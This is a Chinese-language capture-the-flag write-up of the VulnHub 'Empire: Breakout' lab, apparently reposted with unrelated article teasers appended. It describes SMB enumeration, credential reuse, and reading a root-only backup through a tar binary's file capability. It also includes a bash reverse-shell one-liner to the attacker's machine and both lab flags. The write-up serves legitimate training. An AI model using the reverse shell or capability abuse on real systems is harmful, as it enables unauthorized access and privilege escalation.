Vulnhub项目:Breakout

news2025/1/19 8:21:04

靶机地址:Empire: Breakout ~ VulnHub

渗透过程:

查询kali ip:192.168.56.104,靶机ip:192.168.56.131

探测靶机开放端口,利用nmap

靶机开放了80、139、445、10000、20000端口,先对80端口进行访问,发现了apache2Debian的页面,没什么其他信息。

 访问10000端口和20000端口,一开始报错,需要改用https访问,发现两个登录框

 

 再没有什么其他信息了,返回80端口,如果没有其他信息了,可以查看源码,看看是否存在一些被忽视的细节,发现了一串串符号,以前在打ctf时遇到过这样类似的,是一种加密方式,叫Brianfuck

 在线找个解密的工具,将其复制进来解密

得到这样一串东西,也不知道是个什么鬼,现在陷入了僵局,有139和445端口,说明存在smb服务,两个登录框,和一个不知道什么鬼的字符串,不知道用户名,这个时候可以利用enum4linux进行枚举。

Enum4linux是用于枚举windows和Linux系统上的SMB服务的工具。可以轻松的从与SMB服务有关的目标中快速提取信息。

.2uqPEfj3D<P'a-3

 枚举出来了一个用户cyber,有用户,尝试利用那个鬼字符串做密码,两个登录框进行尝试,发现登录了20000的登录框。进入了一个系统。

下一步就是要getshell了,在这个系统中,搜寻一圈,发现了,它有命令环境。点击进入后

发现 存在tar二进制文件和user.txt文件,查看user,发现了flag

 

 

 3mp!r3{You_Manage_To_Break_To_My_Secure_Access}

原本想看看存不存在sudo提权,发现没有sudo命令,漂亮!,那就看看这个tar为啥会出现在这,压缩文件命令一般系统自带,为啥会出现在这,看一下它的权限,好嘛,不错!

利用getcap再查看一下,这里cap是Capabilities,它主要的作用就是分割root的特权,将root的特权分割成不同的能力,每种能力代表一定的特权操作,这边检查出来的意思是:

cap_dac_read_search是忽略文件读及目录搜索的DAC访问限制,具体的后面说,ep是:

cap_effective(e)、cap_permitted(p)两种方式授权给相关的程序文件,这里是授权给tar

cap_effective:当一个进程要进行某个特权操作时,操作系统会检查cap_effective的对应位是否有效,而不再是检查进程的有效UID是否为0.

cap_permitted:表示进程能够使用的能力,在cap_permitted中可以包含cap_effective中没有的能力,这些能力是被进程自己临时放弃的,也可以说cap_effective是cap_permitted的一个子集.

 

进入var/backups,本来想看看有没有什么备份文件之类的,发现什么都没有,猜测应该是被隐藏了,使用ls -la即可查看隐藏文件,发现了.old_pass.bak,它的权限很少,只有root可以读,这里就得用到刚才废了半天劲检查的那个二进制文件tar了,利用tar的特权,将整个文件打包,然后再用linux自带的tar将其解压,这样,该文件就会拥有那个二进制文件tar的特权,就可以以普通用户身份进行查看了。

 

 

 

查看后得到了一个密码,本来想用su之间提权的,发现了授权失败的情况

 

 

可能是这个命令环境有些问题,那就反弹给本地一个shell吧,利用hack-tools插件,随便选一个简单的bash命令执行

 

 bash -i >& /dev/tcp/kali IP/port 0>&1

本地kali先开启监听,再执行bash命令,即可反弹回shell

然后再利用su提权,切换root用户,获取第二个flag!

 3mp!r3{You_Manage_To_BreakOut_From_My_System_Congratulation}

总结:

        本次靶机难度为简单,其中还是涉及到了一些新的知识,例如enum4linux工具和cap等知识,还是值得好好去学习的,总体不难,需要灵活的去看待。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/414885.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

【DevOps】GitOps多环境管理 - 别用多分支!

前言 在上一篇文章中【DevOps】GitOps多环境管理(上) - 别用多分支&#xff01;&#xff0c;我们介绍了在探索GitOps实践过程中会遇到的一些痛点&#xff0c;其中之一就是难以做到跨环境的版本发布&#xff0c;或者说怎么处理多个集群的部署。 在上一篇文章中&#xff0c;我们…

记一次内存泄漏排查

记一次内存泄漏排查 文章目录记一次内存泄漏排查背景问题排查问题处理背景 最近某项目的服务突然告警&#xff0c;cpu超85%&#xff0c;随后就是服务宕机。交付重启服务后恢复正常但是随后不久又开始告警&#xff0c;特别是白天&#xff0c;严重影响客户业务进行。 问题排查 …

【分享贴】如何衡量和提高项目成功?

“如何衡量项目成功&#xff1f;” 无论是对于项目经理还是组织来说都希望项目能够成功&#xff0c;但是怎样才算是项目成功了呢&#xff1f; 世界项目管理大师哈罗德科兹纳认为&#xff1a;“传统项目或运营项目成功的衡量标准是时间、成本和范围&#xff1b;创新项目成功的衡…

函数调用、

1、函数调用 重载了函数调用运算符&#xff08;&#xff09;的类 实例化的对象 就叫做函数对象 函数对象 &#xff08;&#xff09;触发 重载函数调用运算符 执行 》类似函数调用 &#xff08;仿函数&#xff09; #include <iostream> using namespace std; class Pr…

【hello Linux】Linux第一个小程序 - 进度条

目录 先来区分两个标识符&#xff1a;回车和换行 1. 倒计时 2. 进度条 Linux&#x1f337; 下面来编写Linux系统下的第一个小程序 - 进度条 先来区分两个标识符&#xff1a;回车和换行 \r 和 \n \r 回车 &#xff1a;代表回到本行的开头&#xff1b; \n 换行 &#xff1a;代表…

【Linux】vscode的使用 | 进程间通信(简单概括)

文章目录1.vscode的下载2. vscode的使用1. 连接远端2. 在vscode创建文件并运行程序切换到命令行3. 安装常见插件3. 进程间通信1. 简单举例2.管道原理为什么把读写都打开&#xff0c;只打开读或者写不可以吗&#xff1f;3. 通过父子进程理解管道1. 创建匿名管道系统调用为什么可…

不用996,不用007,赚的还比我多?我直接好家伙

今天打开手机就看见信息99&#xff0c;哟吼&#xff0c;还挺热闹——感情都在上班摸鱼呢。 好奇心让我点了第一条未读信息&#xff0c;好家伙&#xff0c;直接让我手机闪退出APP了&#xff01; 嗨&#xff0c;我这暴脾气&#xff0c;直接手动滑到了第一条&#xff01;但是我没…

CentOS7-部署Tomcat并运行Jpress

1. 简述静态网页和动态网页的区别。 2. 简述 Webl.0 和 Web2.0 的区别。 3. 安装tomcat8&#xff0c;配置服务启动脚本&#xff0c;部署jpress应用。1、简述静态网页和动态网页的区别 静态网页&#xff1a; 请求响应信息&#xff0c;发给客户端进行处理&#xff0c;由浏览器进…

009:Mapbox GL点击click某位置,显示坐标信息

第009个 点击查看专栏目录 本示例的目的是介绍演示如何在vue+mapbox中点击某位置,显示坐标信息 直接复制下面的 vue+mapbox源代码,操作2分钟即可运行实现效果 文章目录 示例效果配置方式示例源代码(共81行)相关API参考:专栏目标示例效果 配置方式 1)查看基础设置:htt…

一行代码就能完成的事情,为什么要写两行?

大厂面试题分享 面试题库 前后端面试题库 &#xff08;面试必备&#xff09; 推荐&#xff1a;★★★★★ 地址&#xff1a;前端面试题库 web前端面试题库 VS java后端面试题库大全 三元运算符 用三元运算符代替简单的if else if (age < 18) {me 小姐姐; } else {me …

MIMO-OFDM无线通信技术(Matlab代码实现)

目录 &#x1f4a5;1 概述 &#x1f4da;2 运行结果 &#x1f389;3 参考文献 &#x1f468;‍&#x1f4bb;4 Matlab代码 &#x1f4a5;1 概述 本代码为MIMO-OFDM无线通信技术及MATLAB实现。分为十章&#xff0c;供大家学习。 &#x1f4da;2 运行结果 主函数部分代码&a…

移动端架构师都需要具备怎样的技术栈和能力

移动端架构师都需要具备怎样的技术栈和能力 主要的能力 技术深度 技术广度 动手能力: 比如说造轮子的能力, UI(高级自定义UI, 通用UI组件库), LibrarySDK(通用基础库, 项目框架/架构) 经验丰富 辅助的能力 领导力 沟通能力 洞察与前瞻 赋能业务 技术栈 T字形技术栈语言语言高…

TPS79650DCQR低压差线性稳压器、TPS54040ADGQR一款42V,0.5A降压稳压器数据手册资料

TPS79650DCQR低压差&#xff08;LDO&#xff09;低功耗线性稳压器具有高电源抑制比&#xff08;PSRR&#xff09;、超低噪声、快速启动&#xff0c;以及出色的线路和负载瞬态响应&#xff0c;采用小外形、33 VSON、SOT223-6和TO-263封装。该系列的每个器件在输出端都有一个小型…

14届蓝桥杯Python总结

在比赛的时候大家头脑注意力都高度集中&#xff0c;比较紧绷&#xff0c; 我是不喜欢太紧绷的神经的&#xff0c;这时候电脑就夸得一下关机重启了&#xff0c;我当时真的想说关的好&#xff0c;休息一会&#xff08;哈哈哈&#xff09; 重启后我就继续做题&#xff0c;虽然出了…

AcWing 第一讲 打卡例题习题题目

AcWing 第一讲 打卡&例题&习题题目 1. AcWing 1. A B #include<iostream>using namespace std;int main(){int a,b;cin >> a >> b;cout << ab << endl;return 0; }2. AcWing 608. 差 #include<iostream>using namespace std;int…

他98年的,我真的玩不过他...

现在的小年轻真的卷得过分了。前段时间我们公司来了个98年的&#xff0c;工作没两年&#xff0c;跳槽到我们公司起薪18K&#xff0c;都快接近我了。后来才知道人家是个卷王&#xff0c;从早干到晚就差搬张床到工位睡觉了。 最近和他聊了一次天&#xff0c;原来这位小老弟家里条…

ChatGPT做爬虫的第一步

做爬虫就是搞数据, 专业的人做专业的事, ChatGPT阅虫无数, 搞个小爬虫, So Easy! 我知道可以百度到下载图片的代码, 但是我不想百度了, 一切交给ChatGPT 你只需要问他: 怎么用Nodejs下载图片? 其中&#xff0c;url是图片的地址&#xff0c;filePath是保存图片的本地路径。使…

安装stable-diffusion时遇到卡的情况

安装过程中&#xff0c;假如出现Installing gfpgan并且卡了很久不动&#xff0c;见下图&#xff1a; 遇到这个情况&#xff0c;怎么解决呢&#xff1f; 去TencentARC/GFPGAN官网&#xff0c;点击绿色的“Code”按钮&#xff0c;然后点击“Download ZIP”按钮&#xff1a; 将下…

MySQL--数据类型--0409

目录 1.数值类型 1.2 tinyint类型 2.bit类型 3.小数类型 3.1 float 3.2 decimal 4.字符类型 4.1 char 4.2 varchar 4.3 char 和 varchar 比较 5. 日期类型 6. enum 和 set 6.2 set和enum的查找 6.2.1 enum的查找 6.2.2 set的查找 1.数值类型 1.2 tinyint类型 只…

IDE装上ChatGPT,一天开发一个系统

昨天白天在写代码&#xff0c;晚上看了一场直播&#xff0c;是两个技术的直播&#xff1a; 一个是技术总监&#xff0c;一个是号称Java之父的余**。 结果Java之父被技术总监吊打。然后匆匆下播。 技术这玩意&#xff0c;真的就是真的&#xff01; 白天我开发了一个系统&…